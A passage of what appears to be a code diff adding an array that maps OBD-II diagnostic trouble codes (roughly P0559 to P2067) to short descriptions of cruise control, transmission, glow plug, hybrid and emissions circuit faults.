"P0559" => "Brake Booster Pressure Sensor Circuit Intermittent", + "P0560" => "System Voltage", + "P0561" => "System Voltage Unstable", + "P0562" => "System Voltage Low", + "P0563" => "System Voltage High", + "P0564" => "Cruise Control Multi-Function Input 'A' Circuit", + "P0565" => "Cruise Control On Signal", + "P0566" => "Cruise Control Off Signal", + "P0567" => "Cruise Control Resume Signal", + "P0568" => "Cruise Control Set Signal", + "P0569" => "Cruise Control Coast Signal", + "P0570" => "Cruise Control Accelerate Signal", + "P0571" => "Brake Switch 'A' Circuit", + "P0572" => "Brake Switch 'A' Circuit Low", + "P0573" => "Brake Switch 'A' Circuit High", + "P0574" => "Cruise Control System - Vehicle Speed Too High", + "P0575" => "Cruise Control Input Circuit", + "P0576" => "Cruise Control Input Circuit Low", + "P0577" => "Cruise Control Input Circuit High", + "P0578" => "Cruise Control Multi-Function Input 'A' Circuit Stuck", + "P0579" => "Cruise Control Multi-Function Input 'A' Circuit Range/Performance", + "P0580" => "Cruise Control Multi-Function Input 'A' Circuit Low", + "P0581" => "Cruise Control Multi-Function Input 'A' Circuit High", + "P0582" => "Cruise Control Vacuum Control Circuit/Open", + "P0583" => "Cruise Control Vacuum Control Circuit Low", + "P0584" => "Cruise Control Vacuum Control Circuit High", + "P0585" => "Cruise Control Multi-Function Input 'A'/'B' Correlation", + "P0586" => "Cruise Control Vent Control Circuit/Open", + "P0587" => "Cruise Control Vent Control Circuit Low", + "P0588" => "Cruise Control Vent Control Circuit High", + "P0589" => "Cruise Control Multi-Function Input 'B' Circuit", + "P0590" => "Cruise Control Multi-Function Input 'B' Circuit Stuck", + "P0591" => "Cruise Control Multi-Function Input 'B' Circuit Range/Performance", + "P0592" => "Cruise Control Multi-Function Input 'B' Circuit Low", + "P0593" => "Cruise Control Multi-Function Input 'B' Circuit High", + "P0594" => "Cruise Control Servo Control Circuit/Open", + "P0595" => "Cruise Control Servo Control Circuit Low", + "P0596" => "Cruise Control Servo Control Circuit High", + "P0597" => "Thermostat Heater Control Circuit/Open", + "P0598" => "Thermostat Heater Control Circuit Low", + "P0599" => "Thermostat Heater Control Circuit High", + "P0600" => "Serial Communication Link", + "P0601" => "Internal Control Module Memory Check Sum Error", + "P0602" => "Control Module Programming Error", + "P0603" => "Internal Control Module Keep Alive Memory (KAM) Error", + "P0604" => "Internal Control Module Random Access Memory (RAM) Error", + "P0605" => "Internal Control Module Read Only Memory (ROM) Error", + "P0606" => "ECM/PCM Processor", + "P0607" => "Control Module Performance", + "P0608" => "Control Module VSS Output 'A'", + "P0609" => "Control Module VSS Output 'B'", + "P0610" => "Control Module Vehicle Options Error", + "P0611" => "Fuel Injector Control Module Performance", + "P0612" => "Fuel Injector Control Module Relay Control", + "P0613" => "TCM Processor", + "P0614" => "ECM / TCM Incompatible", + "P0615" => "Starter Relay Circuit", + "P0616" => "Starter Relay Circuit Low", + "P0617" => "Starter Relay Circuit High", + "P0618" => "Alternative Fuel Control Module KAM Error", + "P0619" => "Alternative Fuel Control Module RAM/ROM Error", + "P0620" => "Generator Control Circuit", + "P0621" => "Generator Lamp/L Terminal Circuit", + "P0622" => "Generator Field/F Terminal Circuit", + "P0623" => "Generator Lamp Control Circuit", + "P0624" => "Fuel Cap Lamp Control Circuit", + "P0625" => "Generator Field/F Terminal Circuit Low", + "P0626" => "Generator Field/F Terminal Circuit High", + "P0627" => "Fuel Pump 'A' Control Circuit /Open", + "P0628" => "Fuel Pump 'A' Control Circuit Low", + "P0629" => "Fuel Pump 'A' Control Circuit High", + "P0630" => "VIN Not Programmed or Incompatible - ECM/PCM", + "P0631" => "VIN Not Programmed or Incompatible - TCM", + "P0632" => "Odometer Not Programmed - ECM/PCM", + "P0633" => "Immobilizer Key Not Programmed - ECM/PCM", + "P0634" => "PCM/ECM/TCM Internal Temperature Too High", + "P0635" => "Power Steering Control Circuit", + "P0636" => "Power Steering Control Circuit Low", + "P0637" => "Power Steering Control Circuit High", + "P0638" => "Throttle Actuator Control Range/Performance", + "P0639" => "Throttle Actuator Control Range/Performance", + "P0640" => "Intake Air Heater Control Circuit", + "P0641" => "Sensor Reference Voltage 'A' Circuit/Open", + "P0642" => "Sensor Reference Voltage 'A' Circuit Low", + "P0643" => "Sensor Reference Voltage 'A' Circuit High", + "P0644" => "Driver Display Serial Communication Circuit", + "P0645" => "A/C Clutch Relay Control Circuit", + "P0646" => "A/C Clutch Relay Control Circuit Low", + "P0647" => "A/C Clutch Relay Control Circuit High", + "P0648" => "Immobilizer Lamp Control Circuit", + "P0649" => "Speed Control Lamp Control Circuit", + "P0650" => "Malfunction Indicator Lamp (MIL) Control Circuit", + "P0651" => "Sensor Reference Voltage 'B' Circuit/Open", + "P0652" => "Sensor Reference Voltage 'B' Circuit Low", + "P0653" => "Sensor Reference Voltage 'B' Circuit High", + "P0654" => "Engine RPM Output Circuit", + "P0655" => "Engine Hot Lamp Output Control Circuit", + "P0656" => "Fuel Level Output Circuit", + "P0657" => "Actuator Supply Voltage 'A' Circuit/Open", + "P0658" => "Actuator Supply Voltage 'A' Circuit Low", + "P0659" => "Actuator Supply Voltage 'A' Circuit High", + "P0660" => "Intake Manifold Tuning Valve Control Circuit/Open", + "P0661" => "Intake Manifold Tuning Valve Control Circuit Low", + "P0662" => "Intake Manifold Tuning Valve Control Circuit High", + "P0663" => "Intake Manifold Tuning Valve Control Circuit/Open", + "P0664" => "Intake Manifold Tuning Valve Control Circuit Low", + "P0665" => "Intake Manifold Tuning Valve Control Circuit High", + "P0666" => "PCM/ECM/TCM Internal Temperature Sensor Circuit", + "P0667" => "PCM/ECM/TCM Internal Temperature Sensor Range/Performance", + "P0668" => "PCM/ECM/TCM Internal Temperature Sensor Circuit Low", + "P0669" => "PCM/ECM/TCM Internal Temperature Sensor Circuit High", + "P0670" => "Glow Plug Module Control Circuit", + "P0671" => "Cylinder 1 Glow Plug Circuit", + "P0672" => "Cylinder 2 Glow Plug Circuit", + "P0673" => "Cylinder 3 Glow Plug Circuit", + "P0674" => "Cylinder 4 Glow Plug Circuit", + "P0675" => "Cylinder 5 Glow Plug Circuit", + "P0676" => "Cylinder 6 Glow Plug Circuit", + "P0677" => "Cylinder 7 Glow Plug Circuit", + "P0678" => "Cylinder 8 Glow Plug Circuit", + "P0679" => "Cylinder 9 Glow Plug Circuit", + "P0680" => "Cylinder 10 Glow Plug Circuit", + "P0681" => "Cylinder 11 Glow Plug Circuit", + "P0682" => "Cylinder 12 Glow Plug Circuit", + "P0683" => "Glow Plug Control Module to PCM Communication Circuit", + "P0684" => "Glow Plug Control Module to PCM Communication Circuit Range/Performance", + "P0685" => "ECM/PCM Power Relay Control Circuit /Open", + "P0686" => "ECM/PCM Power Relay Control Circuit Low", + "P0687" => "ECM/PCM Power Relay Control Circuit High", + "P0688" => "ECM/PCM Power Relay Sense Circuit /Open", + "P0689" => "ECM/PCM Power Relay Sense Circuit Low", + "P0690" => "ECM/PCM Power Relay Sense Circuit High", + "P0691" => "Fan 1 Control Circuit Low", + "P0692" => "Fan 1 Control Circuit High", + "P0693" => "Fan 2 Control Circuit Low", + "P0694" => "Fan 2 Control Circuit High", + "P0695" => "Fan 3 Control Circuit Low", + "P0696" => "Fan 3 Control Circuit High", + "P0697" => "Sensor Reference Voltage 'C' Circuit/Open", + "P0698" => "Sensor Reference Voltage 'C' Circuit Low", + "P0699" => "Sensor Reference Voltage 'C' Circuit High", + "P0700" => "Transmission Control System (MIL Request)", + "P0701" => "Transmission Control System Range/Performance", + "P0702" => "Transmission Control System Electrical", + "P0703" => "Brake Switch 'B' Circuit", + "P0704" => "Clutch Switch Input Circuit Malfunction", + "P0705" => "Transmission Range Sensor Circuit Malfunction (PRNDL Input)", + "P0706" => "Transmission Range Sensor Circuit Range/Performance", + "P0707" => "Transmission Range Sensor Circuit Low", + "P0708" => "Transmission Range Sensor Circuit High", + "P0709" => "Transmission Range Sensor Circuit Intermittent", + "P0710" => "Transmission Fluid Temperature Sensor 'A' Circuit", + "P0711" => "Transmission Fluid Temperature Sensor 'A' Circuit Range/Performance", + "P0712" => "Transmission Fluid Temperature Sensor 'A' Circuit Low", + "P0713" => "Transmission Fluid Temperature Sensor 'A' Circuit High", + "P0714" => "Transmission Fluid Temperature Sensor 'A' Circuit Intermittent", + "P0715" => "Input/Turbine Speed Sensor 'A' Circuit", + "P0716" => "Input/Turbine Speed Sensor 'A' Circuit Range/Performance", + "P0717" => "Input/Turbine Speed Sensor 'A' Circuit No Signal", + "P0718" => "Input/Turbine Speed Sensor 'A' Circuit Intermittent", + "P0719" => "Brake Switch 'B' Circuit Low", + "P0720" => "Output Speed Sensor Circuit", + "P0721" => "Output Speed Sensor Circuit Range/Performance", + "P0722" => "Output Speed Sensor Circuit No Signal", + "P0723" => "Output Speed Sensor Circuit Intermittent", + "P0724" => "Brake Switch 'B' Circuit High", + "P0725" => "Engine Speed Input Circuit", + "P0726" => "Engine Speed Input Circuit Range/Performance", + "P0727" => "Engine Speed Input Circuit No Signal", + "P0728" => "Engine Speed Input Circuit Intermittent", + "P0729" => "Gear 6 Incorrect Ratio", + "P0730" => "Incorrect Gear Ratio", + "P0731" => "Gear 1 Incorrect Ratio", + "P0732" => "Gear 2 Incorrect Ratio", + "P0733" => "Gear 3 Incorrect Ratio", + "P0734" => "Gear 4 Incorrect Ratio", + "P0735" => "Gear 5 Incorrect Ratio", + "P0736" => "Reverse Incorrect Ratio", + "P0737" => "TCM Engine Speed Output Circuit", + "P0738" => "TCM Engine Speed Output Circuit Low", + "P0739" => "TCM Engine Speed Output Circuit High", + "P0740" => "Torque Converter Clutch Circuit/Open", + "P0741" => "Torque Converter Clutch Circuit Performance or Stuck Off", + "P0742" => "Torque Converter Clutch Circuit Stuck On", + "P0743" => "Torque Converter Clutch Circuit Electrical", + "P0744" => "Torque Converter Clutch Circuit Intermittent", + "P0745" => "Pressure Control Solenoid 'A'", + "P0746" => "Pressure Control Solenoid 'A' Performance or Stuck Off", + "P0747" => "Pressure Control Solenoid 'A' Stuck On", + "P0748" => "Pressure Control Solenoid 'A' Electrical", + "P0749" => "Pressure Control Solenoid 'A' Intermittent", + "P0750" => "Shift Solenoid 'A'", + "P0751" => "Shift Solenoid 'A' Performance or Stuck Off", + "P0752" => "Shift Solenoid 'A' Stuck On", + "P0753" => "Shift Solenoid 'A' Electrical", + "P0754" => "Shift Solenoid 'A' Intermittent", + "P0755" => "Shift Solenoid 'B'", + "P0756" => "Shift Solenoid 'B' Performance or Stuck Off", + "P0757" => "Shift Solenoid 'B' Stuck On", + "P0758" => "Shift Solenoid 'B' Electrical", + "P0759" => "Shift Solenoid 'B' Intermittent", + "P0760" => "Shift Solenoid 'C'", + "P0761" => "Shift Solenoid 'C' Performance or Stuck Off", + "P0762" => "Shift Solenoid 'C' Stuck On", + "P0763" => "Shift Solenoid 'C' Electrical", + "P0764" => "Shift Solenoid 'C' Intermittent", + "P0765" => "Shift Solenoid 'D'", + "P0766" => "Shift Solenoid 'D' Performance or Stuck Off", + "P0767" => "Shift Solenoid 'D' Stuck On", + "P0768" => "Shift Solenoid 'D' Electrical", + "P0769" => "Shift Solenoid 'D' Intermittent", + "P0770" => "Shift Solenoid 'E'", + "P0771" => "Shift Solenoid 'E' Performance or Stuck Off", + "P0772" => "Shift Solenoid 'E' Stuck On", + "P0773" => "Shift Solenoid 'E' Electrical", + "P0774" => "Shift Solenoid 'E' Intermittent", + "P0775" => "Pressure Control Solenoid 'B'", + "P0776" => "Pressure Control Solenoid 'B' Performance or Stuck off", + "P0777" => "Pressure Control Solenoid 'B' Stuck On", + "P0778" => "Pressure Control Solenoid 'B' Electrical", + "P0779" => "Pressure Control Solenoid 'B' Intermittent", + "P0780" => "Shift Error", + "P0781" => "1-2 Shift", + "P0782" => "2-3 Shift", + "P0783" => "3-4 Shift", + "P0784" => "4-5 Shift", + "P0785" => "Shift/Timing Solenoid", + "P0786" => "Shift/Timing Solenoid Range/Performance", + "P0787" => "Shift/Timing Solenoid Low", + "P0788" => "Shift/Timing Solenoid High", + "P0789" => "Shift/Timing Solenoid Intermittent", + "P0790" => "Normal/Performance Switch Circuit", + "P0791" => "Intermediate Shaft Speed Sensor 'A' Circuit", + "P0792" => "Intermediate Shaft Speed Sensor 'A' Circuit Range/Performance", + "P0793" => "Intermediate Shaft Speed Sensor 'A' Circuit No Signal", + "P0794" => "Intermediate Shaft Speed Sensor 'A' Circuit Intermittent", + "P0795" => "Pressure Control Solenoid 'C'", + "P0796" => "Pressure Control Solenoid 'C' Performance or Stuck off", + "P0797" => "Pressure Control Solenoid 'C' Stuck On", + "P0798" => "Pressure Control Solenoid 'C' Electrical", + "P0799" => "Pressure Control Solenoid 'C' Intermittent", + "P0800" => "Transfer Case Control System (MIL Request)", + "P0801" => "Reverse Inhibit Control Circuit", + "P0802" => "Transmission Control System MIL Request Circuit/Open", + "P0803" => "1-4 Upshift (Skip Shift) Solenoid Control Circuit", + "P0804" => "1-4 Upshift (Skip Shift) Lamp Control Circuit", + "P0805" => "Clutch Position Sensor Circuit", + "P0806" => "Clutch Position Sensor Circuit Range/Performance", + "P0807" => "Clutch Position Sensor Circuit Low", + "P0808" => "Clutch Position Sensor Circuit High", + "P0809" => "Clutch Position Sensor Circuit Intermittent", + "P0810" => "Clutch Position Control Error", + "P0811" => "Excessive Clutch Slippage", + "P0812" => "Reverse Input Circuit", + "P0813" => "Reverse Output Circuit", + "P0814" => "Transmission Range Display Circuit", + "P0815" => "Upshift Switch Circuit", + "P0816" => "Downshift Switch Circuit", + "P0817" => "Starter Disable Circuit", + "P0818" => "Driveline Disconnect Switch Input Circuit", + "P0819" => "Up and Down Shift Switch to Transmission Range Correlation", + "P0820" => "Gear Lever X-Y Position Sensor Circuit", + "P0821" => "Gear Lever X Position Circuit", + "P0822" => "Gear Lever Y Position Circuit", + "P0823" => "Gear Lever X Position Circuit Intermittent", + "P0824" => "Gear Lever Y Position Circuit Intermittent", + "P0825" => "Gear Lever Push-Pull Switch (Shift Anticipate)", + "P0826" => "Up and Down Shift Switch Circuit", + "P0827" => "Up and Down Shift Switch Circuit Low", + "P0828" => "Up and Down Shift Switch Circuit High", + "P0829" => "5-6 Shift", + "P0830" => "Clutch Pedal Switch 'A' Circuit", + "P0831" => "Clutch Pedal Switch 'A' Circuit Low", + "P0832" => "Clutch Pedal Switch 'A' Circuit High", + "P0833" => "Clutch Pedal Switch 'B' Circuit", + "P0834" => "Clutch Pedal Switch 'B' Circuit Low", + "P0835" => "Clutch Pedal Switch 'B' Circuit High", + "P0836" => "Four Wheel Drive (4WD) Switch Circuit", + "P0837" => "Four Wheel Drive (4WD) Switch Circuit Range/Performance", + "P0838" => "Four Wheel Drive (4WD) Switch Circuit Low", + "P0839" => "Four Wheel Drive (4WD) Switch Circuit High", + "P0840" => "Transmission Fluid Pressure Sensor/Switch 'A' Circuit", + "P0841" => "Transmission Fluid Pressure Sensor/Switch 'A' Circuit Range/Performance", + "P0842" => "Transmission Fluid Pressure Sensor/Switch 'A' Circuit Low", + "P0843" => "Transmission Fluid Pressure Sensor/Switch 'A' Circuit High", + "P0844" => "Transmission Fluid Pressure Sensor/Switch 'A' Circuit Intermittent", + "P0845" => "Transmission Fluid Pressure Sensor/Switch 'B' Circuit", + "P0846" => "Transmission Fluid Pressure Sensor/Switch 'B' Circuit Range/Performance", + "P0847" => "Transmission Fluid Pressure Sensor/Switch 'B' Circuit Low", + "P0848" => "Transmission Fluid Pressure Sensor/Switch 'B' Circuit High", + "P0849" => "Transmission Fluid Pressure Sensor/Switch 'B' Circuit Intermittent", + "P0850" => "Park/Neutral Switch Input Circuit", + "P0851" => "Park/Neutral Switch Input Circuit Low", + "P0852" => "Park/Neutral Switch Input Circuit High", + "P0853" => "Drive Switch Input Circuit", + "P0854" => "Drive Switch Input Circuit Low", + "P0855" => "Drive Switch Input Circuit High", + "P0856" => "Traction Control Input Signal", + "P0857" => "Traction Control Input Signal Range/Performance", + "P0858" => "Traction Control Input Signal Low", + "P0859" => "Traction Control Input Signal High", + "P0860" => "Gear Shift Module Communication Circuit", + "P0861" => "Gear Shift Module Communication Circuit Low", + "P0862" => "Gear Shift Module Communication Circuit High", + "P0863" => "TCM Communication Circuit", + "P0864" => "TCM Communication Circuit Range/Performance", + "P0865" => "TCM Communication Circuit Low", + "P0866" => "TCM Communication Circuit High", + "P0867" => "Transmission Fluid Pressure", + "P0868" => "Transmission Fluid Pressure Low", + "P0869" => "Transmission Fluid Pressure High", + "P0870" => "Transmission Fluid Pressure Sensor/Switch 'C' Circuit", + "P0871" => "Transmission Fluid Pressure Sensor/Switch 'C' Circuit Range/Performance", + "P0872" => "Transmission Fluid Pressure Sensor/Switch 'C' Circuit Low", + "P0873" => "Transmission Fluid Pressure Sensor/Switch 'C' Circuit High", + "P0874" => "Transmission Fluid Pressure Sensor/Switch 'C' Circuit Intermittent", + "P0875" => "Transmission Fluid Pressure Sensor/Switch 'D' Circuit", + "P0876" => "Transmission Fluid Pressure Sensor/Switch 'D' Circuit Range/Performance", + "P0877" => "Transmission Fluid Pressure Sensor/Switch 'D' Circuit Low", + "P0878" => "Transmission Fluid Pressure Sensor/Switch 'D' Circuit High", + "P0879" => "Transmission Fluid Pressure Sensor/Switch 'D' Circuit Intermittent", + "P0880" => "TCM Power Input Signal", + "P0881" => "TCM Power Input Signal Range/Performance", + "P0882" => "TCM Power Input Signal Low", + "P0883" => "TCM Power Input Signal High", + "P0884" => "TCM Power Input Signal Intermittent", + "P0885" => "TCM Power Relay Control Circuit/Open", + "P0886" => "TCM Power Relay Control Circuit Low", + "P0887" => "TCM Power Relay Control Circuit High", + "P0888" => "TCM Power Relay Sense Circuit", + "P0889" => "TCM Power Relay Sense Circuit Range/Performance", + "P0890" => "TCM Power Relay Sense Circuit Low", + "P0891" => "TCM Power Relay Sense Circuit High", + "P0892" => "TCM Power Relay Sense Circuit Intermittent", + "P0893" => "Multiple Gears Engaged", + "P0894" => "Transmission Component Slipping", + "P0895" => "Shift Time Too Short", + "P0896" => "Shift Time Too Long", + "P0897" => "Transmission Fluid Deteriorated", + "P0898" => "Transmission Control System MIL Request Circuit Low", + "P0899" => "Transmission Control System MIL Request Circuit High", + "P0900" => "Clutch Actuator Circuit/Open", + "P0901" => "Clutch Actuator Circuit Range/Performance", + "P0902" => "Clutch Actuator Circuit Low", + "P0903" => "Clutch Actuator Circuit High", + "P0904" => "Gate Select Position Circuit", + "P0905" => "Gate Select Position Circuit Range/Performance", + "P0906" => "Gate Select Position Circuit Low", + "P0907" => "Gate Select Position Circuit High", + "P0908" => "Gate Select Position Circuit Intermittent", + "P0909" => "Gate Select Control Error", + "P0910" => "Gate Select Actuator Circuit/Open", + "P0911" => "Gate Select Actuator Circuit Range/Performance", + "P0912" => "Gate Select Actuator Circuit Low", + "P0913" => "Gate Select Actuator Circuit High", + "P0914" => "Gear Shift Position Circuit", + "P0915" => "Gear Shift Position Circuit Range/Performance", + "P0916" => "Gear Shift Position Circuit Low", + "P0917" => "Gear Shift Position Circuit High", + "P0918" => "Gear Shift Position Circuit Intermittent", + "P0919" => "Gear Shift Position Control Error", + "P0920" => "Gear Shift Forward Actuator Circuit/Open", + "P0921" => "Gear Shift Forward Actuator Circuit Range/Performance", + "P0922" => "Gear Shift Forward Actuator Circuit Low", + "P0923" => "Gear Shift Forward Actuator Circuit High", + "P0924" => "Gear Shift Reverse Actuator Circuit/Open", + "P0925" => "Gear Shift Reverse Actuator Circuit Range/Performance", + "P0926" => "Gear Shift Reverse Actuator Circuit Low", + "P0927" => "Gear Shift Reverse Actuator Circuit High", + "P0928" => "Gear Shift Lock Solenoid Control Circuit/Open", + "P0929" => "Gear Shift Lock Solenoid Control Circuit Range/Performance", + "P0930" => "Gear Shift Lock Solenoid Control Circuit Low", + "P0931" => "Gear Shift Lock Solenoid Control Circuit High", + "P0932" => "Hydraulic Pressure Sensor Circuit", + "P0933" => "Hydraulic Pressure Sensor Range/Performance", + "P0934" => "Hydraulic Pressure Sensor Circuit Low", + "P0935" => "Hydraulic Pressure Sensor Circuit High", + "P0936" => "Hydraulic Pressure Sensor Circuit Intermittent", + "P0937" => "Hydraulic Oil Temperature Sensor Circuit", + "P0938" => "Hydraulic Oil Temperature Sensor Range/Performance", + "P0939" => "Hydraulic Oil Temperature Sensor Circuit Low", + "P0940" => "Hydraulic Oil Temperature Sensor Circuit High", + "P0941" => "Hydraulic Oil Temperature Sensor Circuit Intermittent", + "P0942" => "Hydraulic Pressure Unit", + "P0943" => "Hydraulic Pressure Unit Cycling Period Too Short", + "P0944" => "Hydraulic Pressure Unit Loss of Pressure", + "P0945" => "Hydraulic Pump Relay Circuit/Open", + "P0946" => "Hydraulic Pump Relay Circuit Range/Performance", + "P0947" => "Hydraulic Pump Relay Circuit Low", + "P0948" => "Hydraulic Pump Relay Circuit High", + "P0949" => "Auto Shift Manual Adaptive Learning Not Complete", + "P0950" => "Auto Shift Manual Control Circuit", + "P0951" => "Auto Shift Manual Control Circuit Range/Performance", + "P0952" => "Auto Shift Manual Control Circuit Low", + "P0953" => "Auto Shift Manual Control Circuit High", + "P0954" => "Auto Shift Manual Control Circuit Intermittent", + "P0955" => "Auto Shift Manual Mode Circuit", + "P0956" => "Auto Shift Manual Mode Circuit Range/Performance", + "P0957" => "Auto Shift Manual Mode Circuit Low", + "P0958" => "Auto Shift Manual Mode Circuit High", + "P0959" => "Auto Shift Manual Mode Circuit Intermittent", + "P0960" => "Pressure Control Solenoid 'A' Control Circuit/Open", + "P0961" => "Pressure Control Solenoid 'A' Control Circuit Range/Performance", + "P0962" => "Pressure Control Solenoid 'A' Control Circuit Low", + "P0963" => "Pressure Control Solenoid 'A' Control Circuit High", + "P0964" => "Pressure Control Solenoid 'B' Control Circuit/Open", + "P0965" => "Pressure Control Solenoid 'B' Control Circuit Range/Performance", + "P0966" => "Pressure Control Solenoid 'B' Control Circuit Low", + "P0967" => "Pressure Control Solenoid 'B' Control Circuit High", + "P0968" => "Pressure Control Solenoid 'C' Control Circuit/Open", + "P0969" => "Pressure Control Solenoid 'C' Control Circuit Range/Performance", + "P0970" => "Pressure Control Solenoid 'C' Control Circuit Low", + "P0971" => "Pressure Control Solenoid 'C' Control Circuit High", + "P0972" => "Shift Solenoid 'A' Control Circuit Range/Performance", + "P0973" => "Shift Solenoid 'A' Control Circuit Low", + "P0974" => "Shift Solenoid 'A' Control Circuit High", + "P0975" => "Shift Solenoid 'B' Control Circuit Range/Performance", + "P0976" => "Shift Solenoid 'B' Control Circuit Low", + "P0977" => "Shift Solenoid 'B' Control Circuit High", + "P0978" => "Shift Solenoid 'C' Control Circuit Range/Performance", + "P0979" => "Shift Solenoid 'C' Control Circuit Low", + "P0980" => "Shift Solenoid 'C' Control Circuit High", + "P0981" => "Shift Solenoid 'D' Control Circuit Range/Performance", + "P0982" => "Shift Solenoid 'D' Control Circuit Low", + "P0983" => "Shift Solenoid 'D' Control Circuit High", + "P0984" => "Shift Solenoid 'E' Control Circuit Range/Performance", + "P0985" => "Shift Solenoid 'E' Control Circuit Low", + "P0986" => "Shift Solenoid 'E' Control Circuit High", + "P0987" => "Transmission Fluid Pressure Sensor/Switch 'E' Circuit", + "P0988" => "Transmission Fluid Pressure Sensor/Switch 'E' Circuit Range/Performance", + "P0989" => "Transmission Fluid Pressure Sensor/Switch 'E' Circuit Low", + "P0990" => "Transmission Fluid Pressure Sensor/Switch 'E' Circuit High", + "P0991" => "Transmission Fluid Pressure Sensor/Switch 'E' Circuit Intermittent", + "P0992" => "Transmission Fluid Pressure Sensor/Switch 'F' Circuit", + "P0993" => "Transmission Fluid Pressure Sensor/Switch 'F' Circuit Range/Performance", + "P0994" => "Transmission Fluid Pressure Sensor/Switch 'F' Circuit Low", + "P0995" => "Transmission Fluid Pressure Sensor/Switch 'F' Circuit High", + "P0996" => "Transmission Fluid Pressure Sensor/Switch 'F' Circuit Intermittent", + "P0997" => "Shift Solenoid 'F' Control Circuit Range/Performance", + "P0998" => "Shift Solenoid 'F' Control Circuit Low", + "P0999" => "Shift Solenoid 'F' Control Circuit High", + "P0A00" => "Motor Electronics Coolant Temperature Sensor Circuit", + "P0A01" => "Motor Electronics Coolant Temperature Sensor Circuit Range/Performance", + "P0A02" => "Motor Electronics Coolant Temperature Sensor Circuit Low", + "P0A03" => "Motor Electronics Coolant Temperature Sensor Circuit High", + "P0A04" => "Motor Electronics Coolant Temperature Sensor Circuit Intermittent", + "P0A05" => "Motor Electronics Coolant Pump Control Circuit/Open", + "P0A06" => "Motor Electronics Coolant Pump Control Circuit Low", + "P0A07" => "Motor Electronics Coolant Pump Control Circuit High", + "P0A08" => "DC/DC Converter Status Circuit", + "P0A09" => "DC/DC Converter Status Circuit Low Input", + "P0A10" => "DC/DC Converter Status Circuit High Input", + "P0A11" => "DC/DC Converter Enable Circuit/Open", + "P0A12" => "DC/DC Converter Enable Circuit Low", + "P0A13" => "DC/DC Converter Enable Circuit High", + "P0A14" => "Engine Mount Control Circuit/Open", + "P0A15" => "Engine Mount Control Circuit Low", + "P0A16" => "Engine Mount Control Circuit High", + "P0A17" => "Motor Torque Sensor Circuit", + "P0A18" => "Motor Torque Sensor Circuit Range/Performance", + "P0A19" => "Motor Torque Sensor Circuit Low", + "P0A20" => "Motor Torque Sensor Circuit High", + "P0A21" => "Motor Torque Sensor Circuit Intermittent", + "P0A22" => "Generator Torque Sensor Circuit", + "P0A23" => "Generator Torque Sensor Circuit Range/Performance", + "P0A24" => "Generator Torque Sensor Circuit Low", + "P0A25" => "Generator Torque Sensor Circuit High", + "P0A26" => "Generator Torque Sensor Circuit Intermittent", + "P0A27" => "Battery Power Off Circuit", + "P0A28" => "Battery Power Off Circuit Low", + "P0A29" => "Battery Power Off Circuit High", + "P2000" => "NOx Trap Efficiency Below Threshold", + "P2001" => "NOx Trap Efficiency Below Threshold", + "P2002" => "Particulate Trap Efficiency Below Threshold", + "P2003" => "Particulate Trap Efficiency Below Threshold", + "P2004" => "Intake Manifold Runner Control Stuck Open", + "P2005" => "Intake Manifold Runner Control Stuck Open", + "P2006" => "Intake Manifold Runner Control Stuck Closed", + "P2007" => "Intake Manifold Runner Control Stuck Closed", + "P2008" => "Intake Manifold Runner Control Circuit/Open", + "P2009" => "Intake Manifold Runner Control Circuit Low", + "P2010" => "Intake Manifold Runner Control Circuit High", + "P2011" => "Intake Manifold Runner Control Circuit/Open", + "P2012" => "Intake Manifold Runner Control Circuit Low", + "P2013" => "Intake Manifold Runner Control Circuit High", + "P2014" => "Intake Manifold Runner Position Sensor/Switch Circuit", + "P2015" => "Intake Manifold Runner Position Sensor/Switch Circuit Range/Performance", + "P2016" => "Intake Manifold Runner Position Sensor/Switch Circuit Low", + "P2017" => "Intake Manifold Runner Position Sensor/Switch Circuit High", + "P2018" => "Intake Manifold Runner Position Sensor/Switch Circuit Intermittent", + "P2019" => "Intake Manifold Runner Position Sensor/Switch Circuit", + "P2020" => "Intake Manifold Runner Position Sensor/Switch Circuit Range/Performance", + "P2021" => "Intake Manifold Runner Position Sensor/Switch Circuit Low", + "P2022" => "Intake Manifold Runner Position Sensor/Switch Circuit High", + "P2023" => "Intake Manifold Runner Position Sensor/Switch Circuit Intermittent", + "P2024" => "Evaporative Emissions (EVAP) Fuel Vapor Temperature Sensor Circuit", + "P2025" => "Evaporative Emissions (EVAP) Fuel Vapor Temperature Sensor Performance", + "P2026" => "Evaporative Emissions (EVAP) Fuel Vapor Temperature Sensor Circuit Low Voltage", + "P2027" => "Evaporative Emissions (EVAP) Fuel Vapor Temperature Sensor Circuit High Voltage", + "P2028" => "Evaporative Emissions (EVAP) Fuel Vapor Temperature Sensor Circuit Intermittent", + "P2029" => "Fuel Fired Heater Disabled", + "P2030" => "Fuel Fired Heater Performance", + "P2031" => "Exhaust Gas Temperature Sensor Circuit", + "P2032" => "Exhaust Gas Temperature Sensor Circuit Low", + "P2033" => "Exhaust Gas Temperature Sensor Circuit High", + "P2034" => "Exhaust Gas Temperature Sensor Circuit", + "P2035" => "Exhaust Gas Temperature Sensor Circuit Low", + "P2036" => "Exhaust Gas Temperature Sensor Circuit High", + "P2037" => "Reductant Injection Air Pressure Sensor Circuit", + "P2038" => "Reductant Injection Air Pressure Sensor Circuit Range/Performance", + "P2039" => "Reductant Injection Air Pressure Sensor Circuit Low Input", + "P2040" => "Reductant Injection Air Pressure Sensor Circuit High Input", + "P2041" => "Reductant Injection Air Pressure Sensor Circuit Intermittent", + "P2042" => "Reductant Temperature Sensor Circuit", + "P2043" => "Reductant Temperature Sensor Circuit Range/Performance", + "P2044" => "Reductant Temperature Sensor Circuit Low Input", + "P2045" => "Reductant Temperature Sensor Circuit High Input", + "P2046" => "Reductant Temperature Sensor Circuit Intermittent", + "P2047" => "Reductant Injector Circuit/Open", + "P2048" => "Reductant Injector Circuit Low", + "P2049" => "Reductant Injector Circuit High", + "P2050" => "Reductant Injector Circuit/Open", + "P2051" => "Reductant Injector Circuit Low", + "P2052" => "Reductant Injector Circuit High", + "P2053" => "Reductant Injector Circuit/Open", + "P2054" => "Reductant Injector Circuit Low", + "P2055" => "Reductant Injector Circuit High", + "P2056" => "Reductant Injector Circuit/Open", + "P2057" => "Reductant Injector Circuit Low", + "P2058" => "Reductant Injector Circuit High", + "P2059" => "Reductant Injection Air Pump Control Circuit/Open", + "P2060" => "Reductant Injection Air Pump Control Circuit Low", + "P2061" => "Reductant Injection Air Pump Control Circuit High", + "P2062" => "Reductant Supply Control Circuit/Open", + "P2063" => "Reductant Supply Control Circuit Low", + "P2064" => "Reductant Supply Control Circuit High", + "P2065" => "Fuel Level Sensor 'B' Circuit", + "P2066" => "Fuel Level Sensor 'B' Performance", + "P2067" => "Fuel Level Sensor 'B' Circuit Low", + 